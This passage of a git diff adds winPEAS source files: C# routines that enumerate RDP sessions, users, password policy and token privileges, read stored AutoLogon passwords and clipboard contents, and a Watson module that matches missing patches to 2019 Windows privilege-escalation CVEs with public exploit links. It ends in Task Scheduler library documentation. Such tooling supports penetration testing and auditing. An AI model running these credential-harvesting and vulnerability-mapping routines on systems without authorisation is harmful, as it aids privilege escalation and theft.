[MarshalAs(UnmanagedType.U4)] ref Int32 pLevel, + [MarshalAs(UnmanagedType.U4)] Int32 Filter, + ref IntPtr ppSessionInfo, + [MarshalAs(UnmanagedType.U4)] ref Int32 pCount); + [DllImport("wtsapi32.dll")] + static extern void WTSFreeMemory(IntPtr pMemory); + public static List> GetRDPSessions() + { + List> results = new List>(); + // adapted from http://www.pinvoke.net/default.aspx/wtsapi32.wtsenumeratesessions + IntPtr server = IntPtr.Zero; + List ret = new List(); + server = OpenServer("localhost"); + + try + { + IntPtr ppSessionInfo = IntPtr.Zero; + + Int32 count = 0; + Int32 level = 1; + Int32 retval = WTSEnumerateSessionsEx(server, ref level, 0, ref ppSessionInfo, ref count); + Int32 dataSize = Marshal.SizeOf(typeof(WTS_SESSION_INFO_1)); + Int64 current = (Int64)ppSessionInfo; + + if (retval != 0) + { + for (int i = 0; i < count; i++) + { + Dictionary rdp_session = new Dictionary(); + WTS_SESSION_INFO_1 si = (WTS_SESSION_INFO_1)Marshal.PtrToStructure((System.IntPtr)current, typeof(WTS_SESSION_INFO_1)); + current += dataSize; + if (si.pUserName == null || si.pUserName == "") + continue; + + rdp_session["SessionID"] = String.Format("{0}", si.SessionID); + rdp_session["pSessionName"] = String.Format("{0}", si.pSessionName); + rdp_session["pUserName"] = String.Format("{0}", si.pUserName); + rdp_session["pDomainName"] = String.Format("{0}", si.pDomainName); + rdp_session["State"] = String.Format("{0}", si.State); + rdp_session["SourceIP"] = ""; + + // Now use WTSQuerySessionInformation to get the remote IP (if any) for the connection + IntPtr addressPtr = IntPtr.Zero; + uint bytes = 0; + + WTSQuerySessionInformation(server, (uint)si.SessionID, WTS_INFO_CLASS.WTSClientAddress, out addressPtr, out bytes); + WTS_CLIENT_ADDRESS address = (WTS_CLIENT_ADDRESS)Marshal.PtrToStructure((System.IntPtr)addressPtr, typeof(WTS_CLIENT_ADDRESS)); + + if (address.Address[2] != 0) + { + string sourceIP = String.Format("{0}.{1}.{2}.{3}", address.Address[2], address.Address[3], address.Address[4], address.Address[5]); + rdp_session["SourceIP"] = String.Format("{0}", sourceIP); + } + results.Add(rdp_session); + } + WTSFreeMemory(ppSessionInfo); + } + } + catch (Exception ex) + { + Console.WriteLine(ex); + } + finally + { + CloseServer(server); + } + return results; + } + + public static List GetEverLoggedUsers() + { + List retList = new List(); + try + { + SelectQuery query = new SelectQuery("Win32_UserProfile"); + ManagementObjectSearcher searcher = new ManagementObjectSearcher(query); + foreach (ManagementObject user in searcher.Get()) + { + string username = new SecurityIdentifier(user["SID"].ToString()).Translate(typeof(NTAccount)).ToString(); + if (!username.Contains("NT AUTHORITY")) retList.Add(username); + } + } + catch (Exception ex) + { + Console.WriteLine(ex); + } + return retList; + } + + public static List GetUsersFolders() + { + return MyUtils.ListFolder("Users"); + } + + // https://stackoverflow.com/questions/31464835/how-to-programmatically-check-the-password-must-meet-complexity-requirements-g + public static List> GetPasswordPolicy() + { + List> results = new List>(); + try + { + using (SamServer server = new SamServer(null, SamServer.SERVER_ACCESS_MASK.SAM_SERVER_ENUMERATE_DOMAINS | SamServer.SERVER_ACCESS_MASK.SAM_SERVER_LOOKUP_DOMAIN)) + { + foreach (string domain in server.EnumerateDomains()) + { + var sid = server.GetDomainSid(domain); + var pi = server.GetDomainPasswordInformation(sid); + + results.Add(new Dictionary() + { + { "Domain", domain }, + { "SID", String.Format("{0}", sid) }, + { "MaxPasswordAge", String.Format("{0}", pi.MaxPasswordAge) }, + { "MinPasswordAge", String.Format("{0}", pi.MinPasswordAge) }, + { "MinPasswordLength", String.Format("{0}", pi.MinPasswordLength) }, + { "PasswordHistoryLength", String.Format("{0}", pi.PasswordHistoryLength) }, + { "PasswordProperties", String.Format("{0}", pi.PasswordProperties) }, + }); + } + } + } + catch (Exception ex) + { + Console.WriteLine(ex); + } + return results; + } + + + // From Seatbelt + [DllImport("advapi32.dll", SetLastError = true)] + static extern bool GetTokenInformation( + IntPtr TokenHandle, + TOKEN_INFORMATION_CLASS TokenInformationClass, + IntPtr TokenInformation, + int TokenInformationLength, + out int ReturnLength); + + + protected struct TOKEN_PRIVILEGES + { + public UInt32 PrivilegeCount; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 35)] + public LUID_AND_ATTRIBUTES[] Privileges; + } + + [StructLayout(LayoutKind.Sequential)] + protected struct LUID + { + public uint LowPart; + public int HighPart; + } + + [StructLayout(LayoutKind.Sequential)] + protected struct LUID_AND_ATTRIBUTES + { + public LUID Luid; + public UInt32 Attributes; + } + + [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Auto)] + [return: MarshalAs(UnmanagedType.Bool)] + protected static extern bool LookupPrivilegeName( + string lpSystemName, + IntPtr lpLuid, + System.Text.StringBuilder lpName, + ref int cchName); + + [Flags] + public enum LuidAttributes : uint + { + DISABLED = 0x00000000, + SE_PRIVILEGE_ENABLED_BY_DEFAULT = 0x00000001, + SE_PRIVILEGE_ENABLED = 0x00000002, + SE_PRIVILEGE_REMOVED = 0x00000004, + SE_PRIVILEGE_USED_FOR_ACCESS = 0x80000000 + } + + enum TOKEN_INFORMATION_CLASS + { + TokenUser = 1, + TokenGroups, + TokenPrivileges, + TokenOwner, + TokenPrimaryGroup, + TokenDefaultDacl, + TokenSource, + TokenType, + TokenImpersonationLevel, + TokenStatistics, + TokenRestrictedSids, + TokenSessionId, + TokenGroupsAndPrivileges, + TokenSessionReference, + TokenSandBoxInert, + TokenAuditPolicy, + TokenOrigin + } + + public static Dictionary GetTokenGroupPrivs() + { + // Returns all privileges that the current process/user possesses + // adapted from https://stackoverflow.com/questions/4349743/setting-size-of-token-privileges-luid-and-attributes-array-returned-by-gettokeni + + Dictionary results = new Dictionary { }; + try + { + int TokenInfLength = 0; + IntPtr ThisHandle = WindowsIdentity.GetCurrent().Token; + GetTokenInformation(ThisHandle, TOKEN_INFORMATION_CLASS.TokenPrivileges, IntPtr.Zero, TokenInfLength, out TokenInfLength); + IntPtr TokenInformation = Marshal.AllocHGlobal(TokenInfLength); + if (GetTokenInformation(WindowsIdentity.GetCurrent().Token, TOKEN_INFORMATION_CLASS.TokenPrivileges, TokenInformation, TokenInfLength, out TokenInfLength)) + { + TOKEN_PRIVILEGES ThisPrivilegeSet = (TOKEN_PRIVILEGES)Marshal.PtrToStructure(TokenInformation, typeof(TOKEN_PRIVILEGES)); + for (int index = 0; index < ThisPrivilegeSet.PrivilegeCount; index++) + { + LUID_AND_ATTRIBUTES laa = ThisPrivilegeSet.Privileges[index]; + System.Text.StringBuilder StrBuilder = new System.Text.StringBuilder(); + int LuidNameLen = 0; + IntPtr LuidPointer = Marshal.AllocHGlobal(Marshal.SizeOf(laa.Luid)); + Marshal.StructureToPtr(laa.Luid, LuidPointer, true); + LookupPrivilegeName(null, LuidPointer, null, ref LuidNameLen); + StrBuilder.EnsureCapacity(LuidNameLen + 1); + if (LookupPrivilegeName(null, LuidPointer, StrBuilder, ref LuidNameLen)) + results[StrBuilder.ToString()] = String.Format("{0}", (LuidAttributes)laa.Attributes); + Marshal.FreeHGlobal(LuidPointer); + } + } + } + catch (Exception ex) + { + Console.WriteLine(" [X] Exception: {0}", ex.Message); + } + return results; + } + + public static Dictionary GetAutoLogon() + { + Dictionary results = new Dictionary(); + + results["DefaultDomainName"] = MyUtils.GetRegValue("HKLM", "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "DefaultDomainName"); + results["DefaultUserName"] = MyUtils.GetRegValue("HKLM", "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "DefaultUserName"); + results["DefaultPassword"] = MyUtils.GetRegValue("HKLM", "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "DefaultPassword"); + results["AltDefaultDomainName"] = MyUtils.GetRegValue("HKLM", "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "AltDefaultDomainName"); + results["AltDefaultUserName"] = MyUtils.GetRegValue("HKLM", "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "AltDefaultUserName"); + results["AltDefaultPassword"] = MyUtils.GetRegValue("HKLM", "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "AltDefaultPassword"); + return results; + } + + // From: https://stackoverflow.com/questions/35867427/read-text-from-clipboard + public static string GetClipboardText() + { + string c = ""; + try + { + if (Clipboard.ContainsText(TextDataFormat.Text)) + c = Clipboard.GetText(TextDataFormat.Text); + + else if (Clipboard.ContainsText(TextDataFormat.Html)) + c = Clipboard.GetText(TextDataFormat.Html); + + else if (Clipboard.ContainsAudio()) + c = String.Format("{0}", Clipboard.GetAudioStream()); + + else if (Clipboard.ContainsFileDropList()) + c = String.Format("{0}", Clipboard.GetFileDropList()); + + else if (Clipboard.ContainsImage()) + c = String.Format("{0}", Clipboard.GetImage()); + } + catch (Exception ex) + { + Console.WriteLine(ex); + } + return c; + } + } +} diff --git a/winPEAS/winPEASexe/winPEAS/Watson.cs b/winPEAS/winPEASexe/winPEAS/Watson.cs new file mode 100755 index 0000000..1b3527c --- /dev/null +++ b/winPEAS/winPEASexe/winPEAS/Watson.cs @@ -0,0 +1,793 @@ +using Colorful; +using System; +using System.Collections.Generic; +using System.Drawing; +using System.Linq; +using System.Management; + +namespace winPEAS +{ + ////////////////////////////// + ///////// WMI CLASS ////////// + ////////////////////////////// + public class Wmi + { + public static List GetInstalledKBs() + { + List KbList = new List(); + + try + { + using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(@"root\cimv2", "SELECT HotFixID FROM Win32_QuickFixEngineering")) + { + ManagementObjectCollection collection = searcher.Get(); + + foreach (ManagementObject kb in collection) + { + KbList.Add(kb["HotFixID"].ToString().Remove(0, 2)); + } + } + } + catch (ManagementException e) + { + System.Console.Error.WriteLine(" [!] {0}", e.Message); + } + + return KbList; + } + + public static string GetBuildNumber() + { + string buildNum = string.Empty; + + try + { + using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(@"root\cimv2", "SELECT BuildNumber FROM Win32_OperatingSystem")) + { + ManagementObjectCollection collection = searcher.Get(); + + foreach (ManagementObject num in collection) + { + buildNum = (string)num["BuildNumber"]; + } + } + } + catch (ManagementException e) + { + System.Console.Error.WriteLine(" [!] {0}", e.Message); + } + + return buildNum; + } + } + + ////////////////////////////// + ///// VULNERABILITY CLASS //// + ////////////////////////////// + public class Vulnerability + { + public string Identification { get; } + public string[] KnownExploits { get; } + public bool Vulnerable { get; private set; } + + public Vulnerability(string id, string[] exploits) + { + Identification = id; + KnownExploits = exploits; + } + + public void SetAsVulnerable() + => Vulnerable = true; + } + + + ////////////////////////////// + // VULNERABILITYCOLLECTION CLASS + ////////////////////////////// + public class VulnerabilityCollection + { + private readonly List _vulnerabilities; + + public void SetAsVulnerable(string id) + => _vulnerabilities.First(e => e.Identification == id).SetAsVulnerable(); + + public VulnerabilityCollection() + { + _vulnerabilities = Populate(); + } + + public void ShowResults() + { + foreach (Vulnerability vuln in _vulnerabilities.Where(i => i.Vulnerable)) + { + Beaprint.BadPrint(String.Format(" [!] {0} : VULNERABLE", vuln.Identification)); + + foreach (string exploit in vuln.KnownExploits) + Beaprint.BadPrint(String.Format(" [>] {0}", exploit)); + + System.Console.WriteLine(); + } + + if (_vulnerabilities.Any(e => e.Vulnerable)) + { + if (Program.using_ansii) + { + System.Console.WriteLine(Beaprint.GRAY + " Finished. Found " + Beaprint.ansii_color_bad + _vulnerabilities.Count(i => i.Vulnerable) + Beaprint.GRAY + " potential vulnerabilities." + Beaprint.NOCOLOR); + } + else + { + string iniPrint = " Finished. Found {0} potential vulnerabilities."; + Formatter[] colors = new Formatter[] + { + new Formatter(_vulnerabilities.Count(i => i.Vulnerable), Beaprint.color_bad), + }; + Colorful.Console.WriteLineFormatted(iniPrint, Color.Gray, colors); + } + } + else + Beaprint.GrayPrint(" Finished. Found 0 vulnerabilities.\r\n"); + } + + private List Populate() + { + return new List() + { + new Vulnerability( + id: "CVE-2019-0836", + exploits: new string[] { "https://exploit-db.com/exploits/46718", "https://decoder.cloud/2019/04/29/combinig-luafv-postluafvpostreadwrite-race-condition-pe-with-diaghub-collector-exploit-from-standard-user-to-system/" } + ), + + new Vulnerability( + id: "CVE-2019-0841", + exploits: new string[] { "https://github.com/rogue-kdc/CVE-2019-0841", "https://rastamouse.me/tags/cve-2019-0841/" } + ), + + new Vulnerability( + id: "CVE-2019-1064", + exploits: new string[] { "https://www.rythmstick.net/posts/cve-2019-1064/" } + ), + + new Vulnerability( + id: "CVE-2019-1130", + exploits: new string[] { "https://github.com/S3cur3Th1sSh1t/SharpByeBear" } + ), + + new Vulnerability( + id: "CVE-2019-1253", + exploits: new string[] { "https://github.com/padovah4ck/CVE-2019-1253" } + ), + + new Vulnerability( + id: "CVE-2019-1315", + exploits: new string[] { "https://offsec.almond.consulting/windows-error-reporting-arbitrary-file-move-eop.html" } + ) + }; + + } + } + + + ////////////////////////////// + //////// CVEs CLASSES //////// + ////////////////////////////// + internal static class CVE_2019_0836 + { + private const string name = "CVE-2019-0836"; + + public static void Check(VulnerabilityCollection vulnerabilities, string BuildNumber, List installedKBs) + { + List Supersedence = new List(); + + switch (BuildNumber) + { + case "10240": + + Supersedence.AddRange(new string[] { + "4493475", "4498375", "4499154", "4505051", "4503291", + "4507458", "4512497", "4517276", "4516070", "4522009", + "4520011", "4524153" + }); + + break; + + case "10586": + + Supersedence.AddRange(new string[] { + // + }); + + break; + + case "14393": + + Supersedence.AddRange(new string[] { + "4493470", "4493473", "4499418", "4494440", "4499177", + "4505052", "4503267", "4503294", "4509475", "4507459", + "4507460", "4512495", "4512517", "4516044", "4516061", + "4522010", "4519998", "4524152" + }); + + break; + + case "15063": + + Supersedence.AddRange(new string[] { + "4493474", "4493436", "4499162", "4499181", "4502112", + "4505055", "4503279", "4503289", "4509476", "4507450", + "4507467", "4512474", "4512507", "4516059", "4516068", + "4522011", "4520010", "4524151" + }); + + break; + + case "16299": + + Supersedence.AddRange(new string[] { + "4493441", "4493440", "4499147", "4499179", "4505062", + "4503281", "4503284", "4509477", "4507455", "4507465", + "4512494", "4512516", "4516066", "4516071", "4522012", + "4520004", "4524150" + }); + + break; + + case "17134": + + Supersedence.AddRange(new string[] { + "4493464", "4493437", "4499167", "4499183", "4505064", + "4503286", "4503288", "4509478", "4507435", "4507466", + "4512501", "4512509", "4516045", "4516058", "4522014", + "4520008", "4524149" + }); + + break; + + case "17763": + + Supersedence.AddRange(new string[] { + "4493509", "4495667", "4494441", "4497934", "4501835", + "4505056", "4501371", "4503327", "4509479", "4505658", + "4507469", "4511553", "4512534", "4512578", "4516077", + "4522015", "4519338", "4524148" + }); + + break; + + default: + return; + } + + IEnumerable x = Supersedence.Intersect(installedKBs); + + if (!x.Any()) + vulnerabilities.SetAsVulnerable(name); + } + } + + + internal static class CVE_2019_0841 + { + private const string name = "CVE-2019-0841"; + + public static void Check(VulnerabilityCollection vulnerabilities, string BuildNumber, List installedKBs) + { + List Supersedence = new List(); + + switch (BuildNumber) + { + case "10240": + + Supersedence.AddRange(new string[] { + // + }); + + break; + + case "10586": + + Supersedence.AddRange(new string[] { + // + }); + + break; + + case "14393": + + Supersedence.AddRange(new string[] { + // + }); + + break; + + case "15063": + + Supersedence.AddRange(new string[] { + "4493474", "4493436", "4499162", "4499181", "4502112", + "4505055", "4503279", "4503289", "4509476", "4507450", + "4507467", "4512474", "4512507", "4516059", "4516068", + "4522011", "4520010", "4524151" + }); + + break; + + case "16299": + + Supersedence.AddRange(new string[] { + "4493441", "4493440", "4499147", "4499179", "4505062", + "4503281", "4503284", "4509477", "4507455", "4507465", + "4512494", "4512516", "4516066", "4516071", "4522012", + "4520004", "4524150" + }); + + break; + + case "17134": + + Supersedence.AddRange(new string[] { + "4493464", "4493437", "4499167", "4499183", "4505064", + "4503286", "4503288", "4509478", "4507435", "4507466", + "4512501", "4512509", "4516045", "4516058", "4522014", + "4520008", "4524149" + }); + + break; + + case "17763": + + Supersedence.AddRange(new string[] { + "4493509", "4495667", "4494441", "4497934", "4501835", + "4505056", "4501371", "4503327", "4509479", "4505658", + "4507469", "4511553", "4512534", "4512578", "4516077", + "4522015", "4519338", "4524148" + }); + + break; + + default: + return; + } + + IEnumerable x = Supersedence.Intersect(installedKBs); + + if (!x.Any()) + vulnerabilities.SetAsVulnerable(name); + } + } + + internal static class CVE_2019_1064 + { + private const string name = "CVE-2019-1064"; + + public static void Check(VulnerabilityCollection vulnerabilities, string BuildNumber, List installedKBs) + { + List Supersedence = new List(); + + switch (BuildNumber) + { + case "10240": + + Supersedence.AddRange(new string[] { + // + }); + + break; + + case "10586": + + Supersedence.AddRange(new string[] { + // + }); + + break; + + case "14393": + + Supersedence.AddRange(new string[] { + "4503267", "4503294", "4509475", "4507459", "4507460", + "4512495", "4512517", "4516044", "4516061", "4522010", + "4519998", "4524152" + }); + + break; + + case "15063": + + Supersedence.AddRange(new string[] { + "4503279", "4503289", "4509476", "4507450", "4507467", + "4512474", "4512507", "4516059", "4516068", "4522011", + "4520010", "4524151" + }); + + break; + + case "16299": + + Supersedence.AddRange(new string[] { + "4503284", "4503281", "4509477", "4507455", "4507465", + "4512494", "4512516", "4516066", "4516071", "4522012", + "4520004", "4524150" + }); + + break; + + case "17134": + + Supersedence.AddRange(new string[] { + "4503286", "4503288", "4509478", "4507435", "4507466", + "4512501", "4512509", "4516045", "4516058", "4522014", + "4520008", "4524149" + }); + + break; + + case "17763": + + Supersedence.AddRange(new string[] { + "4503327", "4501371", "4509479", "4505658", "4507469", + "4511553", "4512534", "4512578", "4516077", "4522015", + "4519338", "4524148" + }); + + break; + + case "18362": + + Supersedence.AddRange(new string[] { + "4503293", "4501375", "4505903", "4507453", "4512508", + "4512941", "4515384", "4517211", "4522016", "4517389", + "4524147" + }); + + break; + + default: + return; + } + + IEnumerable x = Supersedence.Intersect(installedKBs); + + if (!x.Any()) + vulnerabilities.SetAsVulnerable(name); + } + } + + internal static class CVE_2019_1130 + { + private const string name = "CVE-2019-1130"; + + public static void Check(VulnerabilityCollection vulnerabilities, string BuildNumber, List installedKBs) + { + List Supersedence = new List(); + + switch (BuildNumber) + { + case "10240": + + Supersedence.AddRange(new string[] { + "4507458", "4512497", "4517276", "4516070", "4522009", + "4520011", "4524153" + }); + + break; + + case "10586": + + Supersedence.AddRange(new string[] { + // + }); + + break; + + case "14393": + + Supersedence.AddRange(new string[] { + "4507460", "4507459", "4512495", "4512517", "4516044", + "4516061", "4522010", "4519998", "4524152" + }); + + break; + + case "15063": + + Supersedence.AddRange(new string[] { + "4507450", "4507467", "4512474", "4512507", "4516059", + "4516068", "4522011", "4520010", "4524151" + }); + + break; + + case "16299": + + Supersedence.AddRange(new string[] { + "4507455", "4507465", "4512494", "4512516", "4516066", + "4516071", "4522012", "4520004", "4524150" + }); + + break; + + case "17134": + + Supersedence.AddRange(new string[] { + "4507435", "4507466", "4512501", "4512509", "4516045", + "4516058", "4522014", "4520008", "4524149" + }); + + break; + + case "17763": + + Supersedence.AddRange(new string[] { + "4507469", "4505658", "4511553", "4512534", "4512578", + "4516077", "4522015", "4519338", "4524148" + }); + + break; + + case "18362": + + Supersedence.AddRange(new string[] { + "4507453", "4505903", "4512508", "4512941", "4515384", + "4517211", "4522016", "4517389", "4524147" + }); + + break; + + default: + return; + } + + IEnumerable x = Supersedence.Intersect(installedKBs); + + if (!x.Any()) + vulnerabilities.SetAsVulnerable(name); + } + } + + internal static class CVE_2019_1253 + { + private const string name = "CVE-2019-1253"; + + public static void Check(VulnerabilityCollection vulnerabilities, string BuildNumber, List installedKBs) + { + List Supersedence = new List(); + + switch (BuildNumber) + { + case "10240": + + Supersedence.AddRange(new string[] { + // + }); + + break; + + case "10586": + + Supersedence.AddRange(new string[] { + // + }); + + break; + + case "14393": + + Supersedence.AddRange(new string[] { + // + }); + + break; + + case "15063": + + Supersedence.AddRange(new string[] { + "4516068", "4516059", "4522011", "4520010", "4524151" + }); + + break; + + case "16299": + + Supersedence.AddRange(new string[] { + "4516066", "4516071", "4522012", "4520004", "4524150" + }); + + break; + + case "17134": + + Supersedence.AddRange(new string[] { + "4516058", "4516045", "4522014", "4520008", "4524149" + }); + + break; + + case "17763": + + Supersedence.AddRange(new string[] { + "4512578", "4516077", "4522015", "4519338", "4524148" + }); + + break; + + case "18362": + + Supersedence.AddRange(new string[] { + "4515384", "4517211", "4522016", "4517389", "4524147" + }); + + break; + + default: + return; + } + + IEnumerable x = Supersedence.Intersect(installedKBs); + + if (!x.Any()) + vulnerabilities.SetAsVulnerable(name); + } + } + + + internal static class CVE_2019_1315 + { + private const string name = "CVE-2019-1315"; + + public static void Check(VulnerabilityCollection vulnerabilities, string BuildNumber, List installedKBs) + { + List Supersedence = new List(); + + switch (BuildNumber) + { + case "10240": + + Supersedence.AddRange(new string[] { + "4520011" + }); + + break; + + case "10586": + + Supersedence.AddRange(new string[] { + // + }); + + break; + + case "14393": + + Supersedence.AddRange(new string[] { + "4519998" + }); + + break; + + case "15063": + + Supersedence.AddRange(new string[] { + "4520010" + }); + + break; + + case "16299": + + Supersedence.AddRange(new string[] { + "4520004" + }); + + break; + + case "17134": + + Supersedence.AddRange(new string[] { + "4520008" + }); + + break; + + case "17763": + + Supersedence.AddRange(new string[] { + "4519338" + }); + + break; + + case "18362": + + Supersedence.AddRange(new string[] { + "4517389" + }); + + break; + + default: + return; + } + + IEnumerable x = Supersedence.Intersect(installedKBs); + + if (!x.Any()) + vulnerabilities.SetAsVulnerable(name); + } + } + + + ////////////////////////////// + ////// MAIN WATSON CLASS ///// + ////////////////////////////// + class Watson + { + public static void FindVulns() + { + if (Program.using_ansii) + { + System.Console.WriteLine(Beaprint.YELLOW + " [?] " + Beaprint.LBLUE + "Windows vulns search powered by" + Beaprint.LRED + "Watson" + Beaprint.LBLUE + "(https://github.com/rasta-mouse/Watson)" + Beaprint.NOCOLOR); + } + else + { + string iniPrint = " {0} Windows vulns search powered by {1} (https://github.com/rasta-mouse/Watson)"; + Formatter[] colors = new Formatter[] + { + new Formatter("[?]", Color.Yellow), + new Formatter("Watson", Color.OrangeRed), + }; + Colorful.Console.WriteLineFormatted(iniPrint, Color.MediumPurple, colors); + } + + List supportedVersions = new List() + { + "10240", //1507 + "10586", //1511 + "14393", //1607 & 2K16 + "15063", //1703 + "16299", //1709 + "17134", //1803 + "17763", //1809 & 2K19 + "18362" //1903 + //"18363", //1909 + }; + + // Get OS Build number + string buildNumber = Wmi.GetBuildNumber(); + if (!string.IsNullOrEmpty(buildNumber)) + { + string iniPrint = " {0}: {1}"; + Formatter[] colors = new Formatter[] + { + new Formatter("OS Build Number", Beaprint.color_key), + new Formatter(buildNumber, Beaprint.color_default), + }; + Colorful.Console.WriteLineFormatted(iniPrint, Beaprint.color_key, colors); + } + else + return; + + if (!supportedVersions.Contains(buildNumber)) + { + Colorful.Console.WriteLine(" Windows version not supported\r\n", Beaprint.color_good); + return; + } + + // List of KBs installed + List installedKBs = Wmi.GetInstalledKBs(); + + // List of Vulnerabilities + VulnerabilityCollection vulnerabiltiies = new VulnerabilityCollection(); + + // Check each one + CVE_2019_0836.Check(vulnerabiltiies, buildNumber, installedKBs); + CVE_2019_0841.Check(vulnerabiltiies, buildNumber, installedKBs); + CVE_2019_1064.Check(vulnerabiltiies, buildNumber, installedKBs); + CVE_2019_1130.Check(vulnerabiltiies, buildNumber, installedKBs); + CVE_2019_1253.Check(vulnerabiltiies, buildNumber, installedKBs); + CVE_2019_1315.Check(vulnerabiltiies, buildNumber, installedKBs); + + // Print the results + vulnerabiltiies.ShowResults(); + + } + } +} diff --git a/winPEAS/winPEASexe/winPEAS/bin/Debug/Microsoft.Win32.TaskScheduler.xml b/winPEAS/winPEASexe/winPEAS/bin/Debug/Microsoft.Win32.TaskScheduler.xml new file mode 100755 index 0000000..25324e0 --- /dev/null +++ b/winPEAS/winPEASexe/winPEAS/bin/Debug/Microsoft.Win32.TaskScheduler.xml @@ -0,0 +1,7584 @@ + + + + Microsoft.Win32.TaskScheduler + + + + Defines the type of actions a task can perform. + The action type is defined when the action is created and cannot be changed later. See . + + + + This action performs a command-line operation. For example, the action can run a script, launch an executable, or, if the name of a document is + provided, find its associated application and launch the application with the document. + + + + This action fires a handler. + + + This action sends and e-mail. + + + This action shows a message box. + + + + An interface that exposes the ability to convert an actions functionality to a PowerShell script. + + + + + Abstract base class that provides the common properties that are inherited by all action + objects. An action object is created by the method. + + + + List of unbound values when working with Actions not associated with a registered task. + + + + Occurs when a property value changes. + + + + + Gets the type of the action. + + The type of the action. + + + + Gets or sets the identifier of the action. + + + + + Creates the specified action. + + Type of the action to instantiate. + of specified type. + + + + Creates a new object that is a copy of the current instance. + + + A new object that is a copy of this instance. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current instance precedes, follows, or occurs in the same position in the sort order as the other object. + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + + Releases all resources used by this class. + + + + + Determines whether the specified , is equal to this instance. + + The to compare with this instance. + + true if the specified is equal to this instance; otherwise, false. + + + + + Indicates whether the current object is equal to another object of the same type. + + An object to compare with this object. + + true if the current object is equal to the parameter; otherwise, false. + + + + + Returns a hash code for this instance. + + + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + + + Returns the action Id. + + String representation of action. + + + + Returns a that represents this action. + + The culture. + String representation of action. + + + + Creates a specialized class from a defined interface. + + Version 1.0 interface. + Specialized action class + + + + Creates a specialized class from a defined interface. + + Version 2.0 Action interface. + Specialized action class + + + + Copies the properties from another the current instance. + + The source . + + + + Represents an action that fires a handler. Only available on Task Scheduler 2.0. + Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + This action is the most complex. It allows the task to execute and In-Proc COM server object that implements the ITaskHandler interface. There is a sample project that shows how to do this in the Downloads section. + + + + + Creates an unbound instance of . + + + + + Creates an unbound instance of . + + Identifier of the handler class. + Addition data associated with the handler. + + + + Gets or sets the identifier of the handler class. + + + + + Gets the name of the object referred to by . + + + + + Gets or sets additional data that is associated with the handler. + + + + + Indicates whether the current object is equal to another object of the same type. + + An object to compare with this object. + + true if the current object is equal to the parameter; otherwise, false. + + + + + Gets a string representation of the . + + String representation of this action. + + + + Gets the name for CLSID. + + The unique identifier. + + + + + Copies the properties from another the current instance. + + The source . + + + + Represents an action that sends an e-mail. + Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + This action has been deprecated in Windows 8 and later. However, this library is able to mimic its functionality using PowerShell if the property is set to . To disable this conversion, set the value to . + + The EmailAction allows for an email to be sent when the task is triggered. + + + + + Creates an unbound instance of . + + + + + Creates an unbound instance of . + + Subject of the e-mail. + E-mail address that you want to send the e-mail from. + E-mail address or addresses that you want to send the e-mail to. + Body of the e-mail that contains the e-mail message. + Name of the server that you use to send e-mail from. + + + + Gets or sets an array of file paths to be sent as attachments with the e-mail. Each item must be a value containing a path to file. + + + + + Gets or sets the e-mail address or addresses that you want to Bcc in the e-mail. + + + + + Gets or sets the body of the e-mail that contains the e-mail message. + + + + + Gets or sets the e-mail address or addresses that you want to Cc in the e-mail. + + + + + Gets or sets the e-mail address that you want to send the e-mail from. + + + + + Gets or sets the header information in the e-mail message to send. + + + + + Gets or sets the priority of the e-mail message. + + + A that contains the priority of this message. + + + + + Gets or sets the e-mail address that you want to reply to. + + + + + Gets or sets the name of the server that you use to send e-mail from. + + + + + Gets or sets the subject of the e-mail. + + + + + Gets or sets the e-mail address or addresses that you want to send the e-mail to. + + + + + Indicates whether the current object is equal to another object of the same type. + + An object to compare with this object. + + true if the current object is equal to the parameter; otherwise, false. + + + + + Gets a string representation of the . + + String representation of this action. + + + + Copies the properties from another the current instance. + + The source . + + + + Represents an action that executes a command-line operation. + + All versions of the base library support the ExecAction. It only has three properties that allow it to run an executable with parameters. + + + + + Creates a new instance of an that can be added to . + + + + + Creates a new instance of an that can be added to . + + Path to an executable file. + Arguments associated with the command-line operation. This value can be null. + Directory that contains either the executable file or the files that are used by the executable file. This value can be null. + + + + Gets or sets the arguments associated with the command-line operation. + + + + + Gets or sets the path to an executable file. + + + + + Gets or sets the directory that contains either the executable file or the files that are used by the executable file. + + + + + Indicates whether the current object is equal to another object of the same type. + + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + + Validates the input as a valid filename and optionally checks for its existence. If valid, the property is set to the validated absolute file path. + + The file path to validate. + if set to true check if the file exists. + + + + Gets a string representation of the . + + String representation of this action. + + + Determines whether the specified path is a valid filename and, optionally, if it exists. + The path. + if set to true check if file exists. + if set to true throw exception on error. + true if the specified path is a valid filename; otherwise, false. + + + + Copies the properties from another the current instance. + + The source . + + + + Represents an action that shows a message box when a task is activated. + Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + This action has been deprecated in Windows 8 and later. However, this library is able to mimic its functionality using PowerShell if the property is set to . To disable this conversion, set the value to . + + Display a message when the trigger fires using the ShowMessageAction. + + + + + Creates a new unbound instance of . + + + + + Creates a new unbound instance of . + + Message text that is displayed in the body of the message box. + Title of the message box. + + + + Gets or sets the message text that is displayed in the body of the message box. + + + + + Gets or sets the title of the message box. + + + + + Indicates whether the current object is equal to another object of the same type. + + An object to compare with this object. + + true if the current object is equal to the parameter; otherwise, false. + + + + + Gets a string representation of the . + + String representation of this action. + + + + Copies the properties from another the current instance. + + The source . + + + + Options for when to convert actions to PowerShell equivalents. + + + + + Never convert any actions to PowerShell. This will force exceptions to be thrown when unsupported actions our action quantities are found. + + + + + Convert actions under Version 1 of the library (Windows XP or Windows Server 2003 and earlier). This option supports multiple actions of all types. + If not specified, only a single is supported. Developer must ensure that PowerShell v2 or higher is installed on the target computer. + + + + + Convert all and references to their 